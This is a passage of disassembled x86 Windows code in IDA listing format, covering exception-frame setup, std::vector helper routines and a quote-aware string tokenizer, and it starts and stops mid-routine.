		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F40
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F40
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:0044654Co
					; ___:00446590o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B09E:				; DATA XREF: sub_40B0B1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
